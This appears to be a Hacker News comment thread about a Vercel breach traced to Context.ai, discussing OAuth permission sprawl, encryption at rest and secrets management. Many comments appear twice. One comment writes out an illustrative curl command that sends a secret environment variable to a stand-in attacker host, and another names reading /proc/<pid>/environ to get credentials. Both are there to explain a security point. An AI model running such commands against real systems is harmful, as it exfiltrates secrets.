"I went through about a dozen AI tools I've personally authorized in the last year after reading this. Nine of them have Google Workspace OAuth permissions that include reading all emails and accessing all Drive files. Nine. I authorized every one of them without reading the permissions because the onboarding flow asked and I was in a hurry."
Do other (tech-literate) people do this?! Giving anything access to my emails and Google Drive would keep me up at night and I try and be very granular with permissions and revoke them when I don't use an app any more. I would assume that anything confidential/NDA in my emails had been compromised and leaked well before this point!
At my job I was asked to help integrate our Google Workspace account with an AI notetaking tool another team purchased. The vendor instructed us to set up Domain-wide Delegation for reading/writing emails and Google Drive files. Essentially this would automatically opt in every user in my organization and there would be no way to opt out.
I had to contact the vendor to set up a "less recommended" way of requiring users to actually log into the tool and accept the OAuth permissions prompt. The entire time, everybody (the vendor and my organization) acted like it was a waste of my time.
I can't control what everyone else does, if they want to grant some tool these broad permissions, feel free. But I find it unethical to just enable it for all users with no ability to opt out if this isn't actually a critical tool. Not to mention the security concerns with this.
What is most concerning to me is how people are turning their brains off for anything tangentially related to AI. The people making this request to me are smart people who 5 years ago would have never asked to do this. Now suddenly they don't care - everyone else is doing it, why not?
>What is most concerning to me is how people are turning their brains off for anything tangentially related to AI.
Everyone is betting the farm on that .01% chance that they become wild trillionaires. We're going to burn down the whole planet and use all of the resources so a few people can have a minuscule chance at being obscenely rich.
Personally, no. This comment from the other day has been stuck in my head: "Anyone trying to stay safe will be on the gradient to a Stallmanesque monastic computing existence."[0]
It's both hilarious and true. As much I want to reap the gains of having an openclaw agent going ham on my personal data, I abstain. I shed a tear at all the cool stuff I'm missing out on, but permissions are never about now. Once they have it, they'll always have it.
I'm sure it's very common, yes. Permissions & popup fatigue is very real. Today, every application and website throws 6 dozen popups at you that you have to get through to get to the stuff you came there for. Most of it is marketing; some of it is from braindead lawyers; some of it is important; none of it gets read by users. At some point you give up and just click "yes, goddamnit, I have work to do" and all the security stuff is out the window.
Always remember: there is no such thing as computer security. If your data is on a networked computer, consider it to be semi-public. The first and only rule of computer security is don't store or do anything on a networked computer that would devastate you if it were leaked or compromised
And, make sure not to think about how much of our modern infrastructure is built on top of computers connected to the Internet.
> *Nine of them have Google Workspace OAuth permissions that include reading all emails and accessing all Drive files. Nine. I authorized every one of them without reading the permissions because the onboarding flow asked and I was in a hurry."
No, you didn't authorize every one of them without reading the permissions because the onboarding flow asked and you were in a hurry.
You authorized it because the onboarding flow asked, and you weren't given an opportunity to say no. What are you to do: say no, and then not use the app?
This whole concept is just wrong. Instead of saying "no" and the app seeing that you didn't grant permission: you should be able to say "no", and the app shouldn't see any denial at all. It should just see empty data when requesting it. Problem fucking solved. You get to use whatever apps you want, apps get to ask for whatever permissions they want, and you get to deny that permission without the app fucking you over.
I think it's a bit easier to add a "Some" option so that then the App is unaware to the effective "No" answer.
But also a lot of the permissions are just bad. Like I think it's reasonable for somebody to make a web-app that uses my Google Drive as a backend for storing data. I don't think its reasonable that it should be able to open files it didn't create though.
This just moves the problem to support. The app doesn't work for users, they don't remember clicking no, and then some CSR has to hand-hold them through clicking "yes".
Boo-hoo. Support should exist. Support should be trained. Support should help educate the customer. If your business isn't doing that then your business is trashy anyway.
Many companies don't have support. That's a major problem. We have a lot of trashy businesses.
What? This makes no sense to me. What's the threat model where you'd rather the OAuth flow result in the client app getting fake data?
If you reject the permissions the client already doesn't hear about it because the callback redirect isn't invoked (or at least, there's no reason for it to be, but that's up to you).
> What are you to do: say no, and then not use the app?
Um, yes? That's literally the point of what's happening. The app is asking for permissions because it needs it to do whatever it's doing. If you don't want to give it access to the data then there's no reason to use the app.
While you're right, I'll be happy with just empty data for now. Generating statistically-likely false data is only recently available generally and turns out to be rather expensive.
I think this is wrong about what “sensitive” means here. AFAIK, all Vercel env cars are encrypted. The sensitive checkbox means that a develop looking at the env var can’t see what value is stored there. It’s a write-only value. Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless). If you don’t check that box, you can view the value in the project UI. That’s reasonable for most config values. Imagine “DEFAULT_TIME_ZONE” or such. There’s nothing gained from hiding it, and it’d be a pain in the ass come troubleshooting time.
So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.
I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.
> Only the app can see it, via an env var (which obviously can’t be encrypted in such a way that the app can’t see it, otherwise it’d be worthless)
Yeah, I'm very confused. It's not possible to encrypt env vars that the program needs; even if it's encrypted at rest, it needs to be decrypted anyway before starting the program. Env vars are injected as plain text. This is just how this works, nothing to do with Vercel.
This situation could some day improve with fully homomorphic encryption (so the server operates with encrypted data without ever decrypting it), but that would have very high overhead for the entire program. It's not realistic (yet)
You always get people screaming about 'it should have been encrypted!' when there's a leak without understanding what encryption can and can't do in principle and in practice (it most certainly isn't a synonym for 'secure' or 'safe').
Also if you want to keep a secret a secret forever, encrypted but saved data may be easily decrypted in the future. Most secrets though in reality are less useful in X years time.
> Whenever someone says "But it should have been encrypted!" about things like configs on a server, I ask them how they'd implement that in practice.
Short practical answer: Use a USB HSM plugged into your server and acknowledge that it is an imperfect solution.
For configs, I used to setuid the executable so that it starts up as a user that can read the file, it reads the file into RAM in the first 5 lines in `main` then drops privs immediately to a user that can't read the file, and then continues as normal.
This was to ensure that if the application was compromised, the config could not be changed by the application itself, nor could it be read once the program was running.
If you wanted to keep it encrypted without leaking the key, you could do the same, except that the key would also be read at startup (or, preferably, get a data key from the USB HSM, and use that for decryption).
Of course, that moves the problem of "read the first key from disk" to "read the HSM pin from disk".
You can have your supervising program, like a K8 cluster, inject the correct keys into the pod as it's created, but that cluster itself needs a root key to decrypt those correct keys, and that has to come from somewhere too.
There is, at the end of the day, only one perfect solution: when the program starts up it waits for user input - either the decryption key or the HSM pin - that it uses as a root key to decrypt everything else.
There is no other way that isn't "store some root key, credential, token, etc on the computer".
Where I work we started using Vault and you store the vault key (as in looup key) in as a regular non-hidden env var. I think this is probably more solid.
Yeah, the Vault model, where you just refer to the secret’s path (where it is hopefully also dynamically generated and revoked after use), based on short-lived OIDC-style auth, is about the safest mechanism possible for this sort of secrets management. I’ve been trying to spread this pattern everywhere I’ve worked for a decade now. But it’s a lot of work to set up and maintain.
But if they are readable to the “developer” then they are readable to anyone who gets access to the developer’s Vercel credentials. If Vercel provides a way to avoid that that didn’t get used, that’s the failure. Sure, you can quibble with the exact understanding of the author over whether they were “encrypted” or not. That’s not really the key factor here.
There are appropriate uses for both. Your database password should be write-only and not viewable later. Your time zone should be read-write for easy debugging when things to wrong. Vercel gives you both options. The user chose badly here, and IMO that’s not Vercel’s fault.
I don't want to do the easy finger-pointing and scapegoating but honestly, what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine and, on top of that, install cheats which are by definition of dubious provenance? I know defense in depth, security layers etc etc but there is also some personal responsibility at play here. We can chalk up the Vercel's employee mistake to a defense in depth failure that's on the whole company and management, but installing a cheat...
Let’s just say that OpSec at companies adopting AI is low across the board because security just isn’t a deciding feature at the moment. See McDonalds breach 2 years ago
As somebody who tried selling cybersecurity software: Cyber-related OpSec is bad in most companies, AI or not. If effort and budget is allocated to it at all it's usually to a box-checking exercise that is about optics, liability and staying eligible for insurance payouts
Once Mythos is available to business customers, it should radically improve security across the entire web. Imagine if everyone was able to pipe their codebase through Mythos before deployment. We honestly may be on the verge of a bug-free internet.
Do we actually know the employee downloaded it on their work machine? At least this article doesn't say that (and I couldn't find it in other sources as well). Plenty of companies allow you to VPN into corporate network, or log into certain internal systems from the public Internet. Not saying they should, but it is much more common than you think.
For reference, look at how Disney got hacked. One employee downloaded compromised software on a personal computer. One thing led to another and boom. IT in many companies are much more incompetent than you think. I have seen that first hand.
Actually, you are right to question this. TFA mentions a MicroTrend report [1] as his source, but that report doesn't mention Roblox cheats and more interestingly says that Context.ai employee machine was compromised 22 months ago, in 2024! While TFA says February 2026. This details makes me doubt about the whole article
Or how it is possible to grant broad permissions to their Google workspace account. That doesn't happen where I work. Only a handful of approved applications can connect.
> ... what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine ...
And if we think just a tiny, tiny, bit about this the entire concept of a laptop that's both used at work and outside work for non-work related things is already quite a stretch.
I could name one company that is top 10 in market cap in the world where engineers had, on their desk (or below it), a work computer that was not connected to the Internet (but fully connected to an internal network) and a second computer, on another network, that was connected to the Internet. They may still have that setup today: don't know.
FWIW my main "workstation" (it doesn't have ECC memory and, weirdly enough, the actual workstation here is... a Proxmox server) doesn't even have sound.
No sound.
Ask yourself this: can you work without your main work computer even have the ability to emit any sound? For most people it's yes.
And I'm no luddite: countless NUCs, Pi's (got a tower of stacked Raspberry Pi's), laptops, etc.
But I don't need to watch Youtube vids on my main work computer. And I certainly don't need to play games on it.
Conf call? There are laptops for that.
Youtube vids? Just watched several from Clojure/Conj 2025 these last days. From one of the laptops.
The very idea that you game on the laptop that you bring to the coffee shop that you bring at work is what brought down Vercel. And shall take down many others.
That’s one among a dozen factors at play here. Yes that’s bad, but also the security of other systems should never depend on your work laptop never getting hacked or having spyware installed. If that’s the only defense, you’re going to have problems.
I know and understand, but still, if the claim is factually true - and now I'm doubting, that's basic security hygiene that everyone working in a software company should be required to know before getting hired.
I doubt they had one. Context.ai got acquihired by OpenAI when it was still a very small company. I think they were winding down the original business, so it's unlikely that it grew after that.
Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices...
There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.
Any security team that gives unrestricted admin privileges to random employees is not a security team. So doing the most basic parts of their job, that would be my proposal.
If specific to my hiring comment, was meant a bit facetious, though I will point out this line in their "compliance" report by "auditor" Delve:
> The organization carries out background and/or reference checks on all new employees and contractors prior to joining in accordance with relevant laws, regulations and ethics. Management utilizes a pre-hire checklist to ensure the hiring manager has assessed the qualification of candidates to confirm they can perform the necessary job requirements.
Maybe those pre-hire checklists should include a question like "Are you a massive idiot, who'd install a game on their work computer, then on top of that be the type of idiot who likes to cheat, then on top of that be the type of idiot to install cheats on your work computer?", maybe that'd prevent this in the future. Or again, just don't give everyone Admin privileges...
Just an addition to the prior comment: To be as generous as possible, I just pulled their audit report [0] and to answer your question, all I propose is that they stick to this (especially the part on minimum permissions, any extended permissions need to be reasonable and reasoned for, etc), which they did not. The fault lies threefold:
First of all with the team members as Context.ai, that either weren't experienced or did not care enough to know that the "all green" they got from Delve straight away couldn't have been accurate.
Secondly, with the people at Delve who, at least in this isolated case, seem to not have fulfilled their obligations and are suspected to have done so in a consistent, repeated and intentionally malicious manner.
Third, the people who, despite claiming to have done their due diligence, being experienced investors and professionals in the field whose own prior companies also had to undergo audits in the past, looked at Delve and were willing to overlook the misdeeds for financial gain.
I believe this is inaccurate. Vercel env vars are all encrypted at rest (on their side). The 'sensitive' checkbox means you can't retrieve the value once it's set, which would have saved your ass in this case. Also, annoying to read an article like this without a single link to source material.
They said "encrypted at rest", which they almost certainly are.
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
How do you use them if you don't decrypt them? At some point you have to see them in plaintext. Even if they are sensitive and not shown in the UI you can still start an app and curl https://hacker.example/$my_encrypted_var to exfiltrate them.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
dotenvx is a way to encrypt your secrets at rest. It's kinda like sops but not as good. https://getsops.io/
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
Keepass has an option to "encrypt in memory" certain passwords, sensitive information.
The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.
However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.
This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.
Even Keepass's "encrypt in memory" option leaves that encryption key in memory, so it can auto-type or copy passphrases into form fields. It's an extra step, but not unbreakable.
If a company says “encrypted at rest” that is generally compliance-speak for “not encrypted, but the hard drive partition is encrypted”.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
"encrypted at rest" is great to guard against stolen laptops, or in the server room both against people breaking in and stealing servers (unlikely at the security level of most hyperscalers, but possible) or more commonly broken HDDs being improperly disposed
How does that transalte to VMs? If "encryption at rest" is done at the guest level, instead of (or in addition to) host, that would be pretty close to minimal "encrypted except when it use" time and protect against virtual equivalents of pulling a hard drive out of a data center.
You can, theoretically, decompile the system memory dump and try to mine the credentials out of the credential server's heap, but that exploit is exponentially more difficult to do that a simple `cat /proc/1234/environ`.
They need to give your app the environment variables later so they cannot throw away the key.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
If I have to make a guess, it wasn't just any Google Workspace app but Gmail. The attacker gained broad access to the victim's inbox. They where then able to login into some internal systems using magic links or one-time codes.
It begs the question why there is no 2FA? And why did they had such a broad access to being with?
If this is not case, the only other option I can muster is perhaps API credentials but stored in google workspaces? It is possible but odd.
This looks really really AI-generated even if the author did try to hide it by making some grammar elements improper. Idk if that diminishes it's accuracy though.
I had to stop reading. I have become overly sensitive to LLMisms. This is definitely "ChatGPT, read this article and rewrite it in a casual tone" with little to no actual authorship. On HN we should try to get primary sources for this sort of thing.
I don't know why you are downvoted. The article is AI blogspam, it doesn't have any more factual information than eg https://www.darkreading.com/application-security/vercel-empl... and is full of empty LLMisms. It's depressing people are willing to read this.
I dont have an llm-radar like you but I felt some anxiety reading through it. Cant explain why but the logic was not linear and this strained me as a reader. It didnt have the obvious llm-isms i see on youtube videos "not this but that".
My natural instinct is to make sense of what I read, and if presented with a word-salad, it strains me. What are the empty LLMisms so my radar can be calibrated ? These are some giveaways I could spot.
> The timeline is genuinely absurd
> The timeline sequence description (Feb/March/April) is abstract and does not depict specifics reflecting human understanding.
That article you linked to didn't mention that Context.ai, from where this mess originated, is a YCombinator company. Most probably its founders are on this very web-forum.
It's absolutely LLM prose, though not all of it. Maybe the author rewrote parts.
The thing that concerns me is that even at a site like HN, where a lot of people are very familiar with LLMs, it seems to be passing.
I hate to think this will become the norm but it's not the first HN linked post that's gotten a lot of earnest engagement despite being AI generated (or partly AI generated).
I'm very comfortable with AI generated code, if the humans involved are doing due diligence, but I really dislike the idea of LLM generated prose taking over more and more of the front page.
The author did change some things to try to pass the LLM test. For example, they removed the apostrophe from I've. The problem, of course, is that this isn't enough to actually pass it, and the author would need to practically rewrite it in their own words to actually come off as natural.
And yes, I agree with you: it's sad seeing LLM-generated slop taking over the front page. I (possibly naively) hope that this trend starts reversing itself sometime soon, as HN is a valuable resource for me to discover new and fascinating things.
Of course it will be new normal. Even worse in few years you will be writing yourself AI-like prose cause of all of that AI written article and news that you read, will cause silently for you to adopt that style. In few more years barely anybody will be able to write coherent statements themselves without help of LLM :)
And I thought it was bad when my son got compromised by a Roblox cheat, but they only they grabbed his Gamepass cookies and bought 4 Minecraft licenses, which MS quickly refunded...
> How many developers do you think knew that checkbox existed? How many assumed their database credentials and API keys were encrypted by default?
If I don't see asterisks, I'm not hitting save on the field with a secret in it. Maybe they were setting them programmatically? They should definitely still be looking to pass some kind of a secret flag, though. This is a weird problem for a company like Vercel to have.
But the encrypted API key doesn't work, it needs to be decrypted first. Let's give the server access to the private key so it can decrypt the API key. We can do this by putting the private key in an env var. But now the private key is unencrypted. Ah, it doesn't work.
You’re thinking too much. When you run the app, the system decrypts the secrets and makes them available as env vars (or some other mechanism).
In an admin ui, you list the names of secrets only, and provide a “reveal” or a “replace” on each one. They are never decrypted unless explicitly asked for.
Is this perfect? Absolutely not. The key is controlled by the company, but it can be derived in a manner that doesn’t allow for the dump of everything if it’s leaked.
My understanding is this is exactly how Vercel works. The users hadn’t checked the “don’t ever reveal, even to me” box next to the sensitive values. If they had, the attacker would only have been able to see the names of the variables and not their values.
Do you ask a bridge engineer if they forgot to reinforce the supports when they built the bridge? Even when I didn't know about security this was a table stakes thing. People saving sensitive things in plaintext are upset that their poor practices came back to bite them. Now, at the risk of sounding like I'm victim blaming here, Vercel is also totally bearing some responsibility for this insanity. But come on. FAFO and all that.
I don't see storing non-sensitive environment variables unencrypted as the main issue here. Sure at vercels scale, encryption at rest for any data would add some better baseline, but i see this article as two major user interface fails more than anything else. Oauth dialogs are just pathetic, they are years behind what is required and what UX research knows how to do things, none of the companies invested any amount of resources into it after it just worked well enough not to make most users churn. The env var problem is also ridiculous, you can only update, not see and check values in the interface if they are encrypted for most providers i know, that leads to really annoying UX and is the reason they are not marked as sensitive by default and opt out. Even if you could unlock them to edit, no one will enter their password again as that is too much hassle, meaning we need a way to read and edit encrypted env vars in the interface where they are created but not have more in the way than a passkey dialog. Its doable but afaik no provider would go the extra mile to get to this UX.
(Of course there are tons of other red flags not looked at in the article, eg. how does an employees machine get access to production systems and from there access to customers connected with oauth and how does the attacker get to env vars from a google workspace account)
What's the source of the claim that it was a Roblox cheat? Neither the report linked at the start of this article nor Context.ai's and Vercel's notices mention this.
Clearly, Vercel should not have been compromised by this. I don't know who Context.ai is but I do know Vercel and I expected better from them. I also think we can expect to see a lot more stories like this.
Something has gone screwy with the timestamps on this page... They're saying they were posted "in 8 hours", "in a day", then the last one is "an hour ago"
It's still showing a time in the future, which only makes sense if there is some kind of error with the server time or some kind of weird timezone conversion gone wrong
According to the email I got from Vercel it was a limited subset of customers and I'm not one:
Initially, we identified a limited subset of customers whose Vercel credentials were compromised. We reached out to that subset and recommended that they rotate their credentials immediately.
At this time, we do not have reason to believe that your Vercel credentials or personal data have been compromised.
I can see how this happened: the employee was home, his kid wanted to play some roblox, he installed roblox and gave the kid the laptop, the kid decided to install the cheat.
Lmaoooo this is why I never install anything but work stuff on my work machines. Always have everything separate. Even on my personal machines, I have separate non-sudoer user accounts for gaming because I’m often downloading random mods.
My son even asked me just the other day why I don’t have Roblox on the Mac….yeah stuff like this is why.
> February 2026. An employee at Context.ai, one of those AI productivity tools that promises to "supercharge your workflow," downloads a Roblox cheat.
The cheat contains an infostealer.
> March 2026. The attacker uses Context.ai's compromised infrastructure to pivot into a Vercel employee's Google Workspace account. This Vercel employee had signed up for Context.ai's "AI Office Suite" using their enterprise credentials and granted "Allow All" permissions. Let that sink in for a second. A Vercel engineer gave a third-party AI tool full access to their corporate Google account.
I swear this AI 'boom' is melting people's brains and zombifying them like Toxoplasma gondii[1] does to rodents, making them do risky things that ultimately get them eaten (or hacked...).
Odd, they used Delve [0] and a SOC2 compliant company like Context.ai [1] should have an AUP, EDR, etc. that prevents their employees from installing a Roblox cheat on their work computer. Heck, even outside SOC2, I have never worked at a company without endpoint restrictions to prevent unauthorised installs.
It's almost like the denials were in fact false and Delve truly was just selling a sticker, not providing an actual service.
If I were a VC that had funded Delve for a considerable amount of time, I'd be embarrassed that we did not catch that. I'd probably rework my processes, publicly analyse how this alleged fraud got past me and go far and beyond in disclosing my findings to rebuild trust. I'd most certainly not think just cutting funding is sufficient given the situation. Even more so if I'd encouraged other companies funded by me to use their "services". I'd maybe even reevaluate whether a circular approach wherein our funded companies are incentivised to rely on other also by us funded companies leads to the best options being chosen and whether that isn't antithetical to a forward thinking environment and competition. At the same time, I'd also think that maybe such a setup just hides unsuccessful companies and potentially even alleged fraud which once it gets to the broader market, may cause significant harm...
We'll keep dangerous devices like the SuperBox in our homes, if it helps us get access to free movies and tv.
We'll use single-use plastics, even if we know they're bad for the environment, because they're just so damn easy.
We'll let AI run that thing for us, because it's just too easy.
A whole generation has grown up without knowing what it was like to infect your computer with AIDS trying to download an MP3, and it shows. That caution will come back, just at a terrible cost.
More generically, our species' Achilles heel is our inability to factor in the long-term cost of negative externalities when evaluating processes that yield short-term positive results.
This. From simple personal choices to the marker economy and politics. With games we're introduced to cheat codes pretty early in our lives. Some people outgrow them, some don't. Too bad our systems encourage their use, whether it's a time-to-market thing, cutting costs, or the next election.
Do other (tech-literate) people do this?! Giving anything access to my emails and Google Drive would keep me up at night and I try and be very granular with permissions and revoke them when I don't use an app any more. I would assume that anything confidential/NDA in my emails had been compromised and leaked well before this point!
I had to contact the vendor to set up a "less recommended" way of requiring users to actually log into the tool and accept the OAuth permissions prompt. The entire time, everybody (the vendor and my organization) acted like it was a waste of my time.
I can't control what everyone else does, if they want to grant some tool these broad permissions, feel free. But I find it unethical to just enable it for all users with no ability to opt out if this isn't actually a critical tool. Not to mention the security concerns with this.
What is most concerning to me is how people are turning their brains off for anything tangentially related to AI. The people making this request to me are smart people who 5 years ago would have never asked to do this. Now suddenly they don't care - everyone else is doing it, why not?
Everyone is betting the farm on that .01% chance that they become wild trillionaires. We're going to burn down the whole planet and use all of the resources so a few people can have a minuscule chance at being obscenely rich.
It's both hilarious and true. As much I want to reap the gains of having an openclaw agent going ham on my personal data, I abstain. I shed a tear at all the cool stuff I'm missing out on, but permissions are never about now. Once they have it, they'll always have it.
0: https://news.ycombinator.com/item?id=47796469#47797330
(Engineer internal monologue) "OK I'll just agree to everything during setup, I can just tear it all down later."
Six months later the slapped together demo is the production release.
I'm sure it's very common, yes. Permissions & popup fatigue is very real. Today, every application and website throws 6 dozen popups at you that you have to get through to get to the stuff you came there for. Most of it is marketing; some of it is from braindead lawyers; some of it is important; none of it gets read by users. At some point you give up and just click "yes, goddamnit, I have work to do" and all the security stuff is out the window.
Always remember: there is no such thing as computer security. If your data is on a networked computer, consider it to be semi-public. The first and only rule of computer security is don't store or do anything on a networked computer that would devastate you if it were leaked or compromised
And, make sure not to think about how much of our modern infrastructure is built on top of computers connected to the Internet.
No, you didn't authorize every one of them without reading the permissions because the onboarding flow asked and you were in a hurry.
You authorized it because the onboarding flow asked, and you weren't given an opportunity to say no. What are you to do: say no, and then not use the app?
This whole concept is just wrong. Instead of saying "no" and the app seeing that you didn't grant permission: you should be able to say "no", and the app shouldn't see any denial at all. It should just see empty data when requesting it. Problem fucking solved. You get to use whatever apps you want, apps get to ask for whatever permissions they want, and you get to deny that permission without the app fucking you over.
But also a lot of the permissions are just bad. Like I think it's reasonable for somebody to make a web-app that uses my Google Drive as a backend for storing data. I don't think its reasonable that it should be able to open files it didn't create though.
Boo-hoo. Support should exist. Support should be trained. Support should help educate the customer. If your business isn't doing that then your business is trashy anyway.
Many companies don't have support. That's a major problem. We have a lot of trashy businesses.
If you reject the permissions the client already doesn't hear about it because the callback redirect isn't invoked (or at least, there's no reason for it to be, but that's up to you).
> What are you to do: say no, and then not use the app?
Um, yes? That's literally the point of what's happening. The app is asking for permissions because it needs it to do whatever it's doing. If you don't want to give it access to the data then there's no reason to use the app.
So sensitive doesn’t mean encrypted. It means the UI doesn’t show the dev what value’s stored there after they’ve updated it. Not sensitive means it’s still visible. And again, I presume this is only a UI thing, and both kinds are stored encrypted in the backend.
I don’t work for Vercel, but I’ve use them a bit. I’m sure there are valid reasons to dislike them, but this specific bit looks like a strawman.
Yeah, I'm very confused. It's not possible to encrypt env vars that the program needs; even if it's encrypted at rest, it needs to be decrypted anyway before starting the program. Env vars are injected as plain text. This is just how this works, nothing to do with Vercel.
This situation could some day improve with fully homomorphic encryption (so the server operates with encrypted data without ever decrypting it), but that would have very high overhead for the entire program. It's not realistic (yet)
Oops - you said the opposite of what I read, my mistake.
PoC or GTFO.
I think you'll find it's a bit harder to do than you expect.
Short practical answer: Use a USB HSM plugged into your server and acknowledge that it is an imperfect solution.
For configs, I used to setuid the executable so that it starts up as a user that can read the file, it reads the file into RAM in the first 5 lines in `main` then drops privs immediately to a user that can't read the file, and then continues as normal.
This was to ensure that if the application was compromised, the config could not be changed by the application itself, nor could it be read once the program was running.
If you wanted to keep it encrypted without leaking the key, you could do the same, except that the key would also be read at startup (or, preferably, get a data key from the USB HSM, and use that for decryption).
Of course, that moves the problem of "read the first key from disk" to "read the HSM pin from disk".
You can have your supervising program, like a K8 cluster, inject the correct keys into the pod as it's created, but that cluster itself needs a root key to decrypt those correct keys, and that has to come from somewhere too.
There is, at the end of the day, only one perfect solution: when the program starts up it waits for user input - either the decryption key or the HSM pin - that it uses as a root key to decrypt everything else.
There is no other way that isn't "store some root key, credential, token, etc on the computer".
For reference, look at how Disney got hacked. One employee downloaded compromised software on a personal computer. One thing led to another and boom. IT in many companies are much more incompetent than you think. I have seen that first hand.
[1] https://www.trendmicro.com/en_us/research/26/d/vercel-breach...
> ... what should happen to the Context.ai employee that thought it was a good idea to play games in their work machine ...
And if we think just a tiny, tiny, bit about this the entire concept of a laptop that's both used at work and outside work for non-work related things is already quite a stretch.
I could name one company that is top 10 in market cap in the world where engineers had, on their desk (or below it), a work computer that was not connected to the Internet (but fully connected to an internal network) and a second computer, on another network, that was connected to the Internet. They may still have that setup today: don't know.
FWIW my main "workstation" (it doesn't have ECC memory and, weirdly enough, the actual workstation here is... a Proxmox server) doesn't even have sound.
No sound.
Ask yourself this: can you work without your main work computer even have the ability to emit any sound? For most people it's yes.
And I'm no luddite: countless NUCs, Pi's (got a tower of stacked Raspberry Pi's), laptops, etc.
But I don't need to watch Youtube vids on my main work computer. And I certainly don't need to play games on it.
Conf call? There are laptops for that.
Youtube vids? Just watched several from Clojure/Conj 2025 these last days. From one of the laptops.
The very idea that you game on the laptop that you bring to the coffee shop that you bring at work is what brought down Vercel. And shall take down many others.
One for which the Context.ai employee needs to have their arse booted up and down the car park for.
You can blame individuals, but security is a property of the system.
Heck, not giving the person Admin privileges would have sufficed to prevent this. Or better hiring preventing people who install Roblox cheats on work devices...
There is no excuse and no fine line here. Even outside them boasting about SOC 2 Type II, this would be embarrassing for an SME not in the tech sector.
Do you want to let any applicant be screened by the security team?
If specific to my hiring comment, was meant a bit facetious, though I will point out this line in their "compliance" report by "auditor" Delve:
> The organization carries out background and/or reference checks on all new employees and contractors prior to joining in accordance with relevant laws, regulations and ethics. Management utilizes a pre-hire checklist to ensure the hiring manager has assessed the qualification of candidates to confirm they can perform the necessary job requirements.
Maybe those pre-hire checklists should include a question like "Are you a massive idiot, who'd install a game on their work computer, then on top of that be the type of idiot who likes to cheat, then on top of that be the type of idiot to install cheats on your work computer?", maybe that'd prevent this in the future. Or again, just don't give everyone Admin privileges...
First of all with the team members as Context.ai, that either weren't experienced or did not care enough to know that the "all green" they got from Delve straight away couldn't have been accurate.
Secondly, with the people at Delve who, at least in this isolated case, seem to not have fulfilled their obligations and are suspected to have done so in a consistent, repeated and intentionally malicious manner.
Third, the people who, despite claiming to have done their due diligence, being experienced investors and professionals in the field whose own prior companies also had to undergo audits in the past, looked at Delve and were willing to overlook the misdeeds for financial gain.
[0] https://news.ycombinator.com/item?id=47848077
If you spin up an EC2 instance with an ftp server and check the "Encrypt my EBS volume" checkbox, all those files are 'encrypted at rest', but if your ftp password is 'admin/admin', your files will be exposed in plaintext quite quickly.
Vercel's backend is of course able to decrypt them too (or else it couldn't run your app for you), and so the attacker was able to view them, and presumably some other control on the backend made it so the sensitive ones can end up in your app, but can't be seen in whatever employee-only interface the attacker was viewing.
What's best practice to handle env vars? How do poeple handle them "securely" without it just being security theater? What tools and workflows are people using?
However I do feel now like my sensitive things are better off deployed on a VPS where someone would need a ssh exploit to come at me.
Notice how their tutorial says "run 'dotenvx run -- yourapp'". If you did 'dotenvx run -- env', all your secrets would be printed right there in plaintext, at runtime, since they're just encrypted at rest.
The equivalent in vercel would be encrypted in the database (the encrypted '.env' file), with a decryption key in the backend (the '.env.keys' file by default in dotenvx) used to show them in the frontend and decrypt them for running apps.
The point of encryption is often times about what other software or hardware attacks are minimized or eliminated.
However, if someone figures out access to a running system, theres really no way to both allow an app to run and keep everything encrypted. It certainly is possible, like the way keepass encrypts items in memory, but if an attacker has root on a server, they just wait for it to be accessed if not outright find the key that encrypted it.
This is to say, 99.9% of the apps and these platforms arn't secure against this type of low level intrusion.
Various certifications require this, I guess because they were written before hyper scalers and the assumed attack vector was that someone would literally steal a hard drive.
A running machine is not “at rest”, just like you can read files on your encrypted Mac HDD, the running program has decrypted access to the hard drive.
You can, theoretically, decompile the system memory dump and try to mine the credentials out of the credential server's heap, but that exploit is exponentially more difficult to do that a simple `cat /proc/1234/environ`.
(And modern Linux is unusable without root access, thanks to Docker and other fast-and-loose approaches.)
Because I never do, unless I'm down in the depths of /var/lib/docker doing stuff I shouldn't.
For non-sensitive environment variables, they also show you the value in the dashboard so you can check and edit them later.
Things like 'NODE_ENV=production' vs 'NODE_ENV=development' is probably something the user wants to see, so that's another argument for letting the backend decrypt and display those values even ignoring the "running your app" part.
You're welcome to add an input that goes straight to '/dev/null' if you want, but it's not exactly a useful feature.
Piping to /dev/null is of course pointless.
What you really want is the /dev/null as a Service Enterprise plan for $500/month with its High Availability devnull Cluster ;)
https://devnull-as-a-service.com/pricing/
It begs the question why there is no 2FA? And why did they had such a broad access to being with?
If this is not case, the only other option I can muster is perhaps API credentials but stored in google workspaces? It is possible but odd.
